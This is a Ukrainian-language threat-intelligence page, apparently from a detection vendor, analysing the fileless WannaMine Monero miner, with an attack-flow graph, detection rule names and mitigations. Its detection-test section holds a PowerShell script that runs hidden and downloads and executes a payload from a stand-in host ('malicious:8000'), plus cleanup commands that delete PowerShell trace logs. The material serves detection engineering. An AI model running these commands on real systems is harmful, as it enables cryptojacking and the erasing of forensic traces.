Аналіз криптомайнера WannaMine: безфайлове виконання та збереження
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
WannaMine – це безфайловий криптомайнер, який покладається на інструменти, що використовуються в системі,— в першу чергу PowerShell і Windows Management Instrumentation (WMI) — щоб залишатися в пам’яті та майнити Monero.
Розслідування
WannaMine доставляється або через фішингові електронні листи з шкідливими пакетними файлами, або шляхом експлуатації вразливості SMB EternalBlue. Для стійкості він реєструє підписки на події WMI та зберігає закодований PowerShell у спеціальних класах WMI.
Захист від WannaMine
Запобігти експлуатації EternalBlue, виправивши SMB (MS17-010). Обмежте виконання та моніторинг PowerShell, контролюйте створення незвичайних класів WMI та споживачів подій, а також забезпечте найменшу привілею, щоб обмежити зловживання обліковими даними.
Реакція
Алертуйте на аномальну поведінку PowerShell/WMI, ізолюйте уражені хости, видаліть шкідливих споживачів подій/підписок WMI, змініть потенційно скомпрометовані облікові дані та проведіть судову експертизу пам’яті, щоб підтвердити наявність майнера у пам’яті.
“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг</b>: Спирфішинг вкладення, що доставляє шкідливий пакетний файл”] class action_phishing action action_user_exec[“<b>Дія</b> – <b>T1204 Виконання користувачем</b>: Жертва запускає пакетний файл, який запускає PowerShell”] class action_user_exec action action_powershell_exec[“<b>Дія</b> – <b>T1059.001 PowerShell</b>: Прихований PowerShell скрипт визначає архітектуру ОС і завантажує завантаження”] class action_powershell_exec action action_wmi_persistence[“<b>Дія</b> – <b>T1546.003 WMI Підписка на події</b>: Шкідливе програмне забезпечення створює власні WMI класи і реєструє споживачів подій”] class action_wmi_persistence action action_pass_the_hash[“<b>Дія</b> – <b>T1550.002 Pass the Hash</b>: Використовуються екстраговані NTLM хеші”] class action_pass_the_hash action action_wmiexec[“<b>Дія</b> – <b>Латеральний рух через WMIExec</b>: Хеші використовуються для виконання PowerShell на віддалених хостах”] class action_wmiexec action action_eternalblue[“<b>Дія</b> – <b>T1210 Експлуатація дистанційних сервісів</b>: Використовується EternalBlue (MS17u2011010), коли використання хешів не вдається”] class action_eternalblue action action_defense_evasion[“<b>Дія</b> – <b>T1550 Використання альтернативних аутентифікаційних матеріалів</b>: Використання викрадених хешів для уникнення запитів щодо облікових даних”] class action_defense_evasion action action_compute_hijacking[“<b>Дія</b> – <b>T1496.001 Викрадення обчислювальних ресурсів</b>: Система налаштована на майнінг криптовалюти Monero”] class action_compute_hijacking action action_power_settings[“<b>Дія</b> – <b>T1653 Налаштування енергозбереження</b>: Змінено управління енергоспоживанням для запобігання сну та підтримки активного майнінгу”] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[“<b>Інструмент</b> – <b>Назва</b>: Шкідливий пакетний файл<br/><b>Опис</b>: Контейнер для початкової PowerShell команди”] class file_batch tool tool_powershell[“<b>Інструмент</b> – <b>Назва</b>: PowerShell<br/><b>Опис</b>: Движок сценаріїв, використовуваний для завантаження і виконання”] class tool_powershell tool tool_wmi[“<b>Інструмент</b> – <b>Назва</b>: Інструментарій управління Windows<br/><b>Опис</b>: Реєструє підписки на події для стійкості”] class tool_wmi tool tool_mimikatz[“<b>Інструмент</b> – <b>Назва</b>: Модуль Mimikatz<br/><b>Опис</b>: Екстрагує NTLM хеші з пам’яті”] class tool_mimikatz tool tool_wmiexec[“<b>Інструмент</b> – <b>Назва</b>: WMIExec<br/><b>Опис</b>: Виконує команди на віддалених машинах через WMI”] class tool_wmiexec tool exploit_eternalblue[“<b>Інструмент</b> – <b>Назва</b>: Використання EternalBlue<br/><b>Опис</b>: Використовує уразливість SMB MS17u2011010”] class exploit_eternalblue tool malware_payload[“<b>Шкідливе програмне забезпечення</b> – <b>Назва</b>: Власний завантажувач<br/><b>Опис</b>: Завантажений компонент, що виконує майнінг”] class malware_payload malware process_download[“<b>Процес</b> – <b>Назва</b>: Віддалена завантаження завантаження<br/><b>Опис</b>: Отримує відповідний бінарний файл для архітектури ОС”] class process_download process process_mining[“<b>Процес</b> – <b>Назва</b>: Майнінг Monero<br/><b>Опис</b>: Використовує процесорний час для майнінгу криптовалюти”] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|доставляє| file_batch file_batch u002du002d>|виконується_користувачем| action_user_exec action_user_exec u002du002d>|запускає| action_powershell_exec action_powershell_exec u002du002d>|використовує| tool_powershell action_powershell_exec u002du002d>|завантажує| process_download process_download u002du002d>|зберігає_як| malware_payload malware_payload u002du002d>|створює| action_wmi_persistence action_wmi_persistence u002du002d>|використовує| tool_wmi action_wmi_persistence u002du002d>|екстрагує_хеші_з| tool_mimikatz tool_mimikatz u002du002d>|дозволяє| action_pass_the_hash action_pass_the_hash u002du002d>|дозволяє| action_wmiexec action_pass_the_hash u002du002d>|переходить_на| action_eternalblue action_wmiexec u002du002d>|виконує_латеральний_рух| process_mining action_eternalblue u002du002d>|використовує| exploit_eternalblue exploit_eternalblue u002du002d>|забезпечує_доступ_до| process_mining process_mining u002du002d>|призводить_до| action_defense_evasion action_defense_evasion u002du002d>|дозволяє| action_compute_hijacking action_compute_hijacking u002du002d>|змінює| action_power_settings “
Потік атаки
Виявлення
Завантаження або передача через Powershell (через cmdline)
Перегляд
Підозрілий зміна схеми живлення (через cmdline)
Перегляд
LOLBAS wmic (через cmdline)
Перегляд
Завантаження підозрілого файлу через прямий IP (через проксі)
Перегляд
IOCs (HashMd5) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
IOCs (Emails) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
IOCs (SourceIP) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
IOCs (DestinationIP) для виявлення: Як працює WannaMine: Безфайловий криптомайнінговий шкідливий ПЗ
Перегляд
Виявлення безфайлового криптоджекінгу WannaMine [Створення процесу у Windows]
Перегляд
Виявлення безфайлового криптомайнера WannaMine PowerShell [Windows Powershell]
Перегляд
Сімуляція виконання
Попередньо обов’язково: Телеметрія і первірка базової лінії повинні були бути пройдені.
Оцінка: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначену для активізації правила виявлення. Команди та наратив ПОВИННІ прямо відображати ідентифіковані TTPs і спрямовані на створення саме тієї телеметрії, яка очікується логікою виявлення.
-
Розповідь про атаку та команди:
Зловмисник отримує віддалене виконання коду на кінцевій точці Windows. Щоб уникнути взаємодії з користувачем, він запускає PowerShell у прихованому вікні (-W Hidden) без профілю (-NoP) і неінтерактивний (-NonI). Команда використовуєIEXдля завантаження PowerShell навантаження з шкідливого HTTP сервера (http://malicious:8000/in6.ps1). Завантажений скрипт реєструє клас WMI з назвоюOffice_Updaterпідrootdefaultякий зберігає властивістьmon, що містить Base64-закодований Monero майнер. Потім зловмисник читає властивість через[WmiClass]та викликає її, що ефективно запускає криптомайнер без створення нового процесу. Ця послідовність відповідає трьом підстрокам командного рядка правила виявлення. -
Скрипт регресійного тестування:
#------------------------------------------------- # Симуляція виконання безфайлового криптомайнера WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Приховане, неінтерактивне виконання PowerShell $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Виконати команду (це те, що запускає зловмисник) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Примітка: передбачається, що віддалений скрипт (in6.ps1) створює клас WMI # з властивістю "mon", що містить код майнінгу. -
Команди очистки:
# Видалити шкідливий клас WMI Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Зупинити всі залишки процесів PowerShell майнера (якщо вони були запущені) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # За бажанням: Очистити транскрипти/журнали PowerShell, створені під час тесту Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue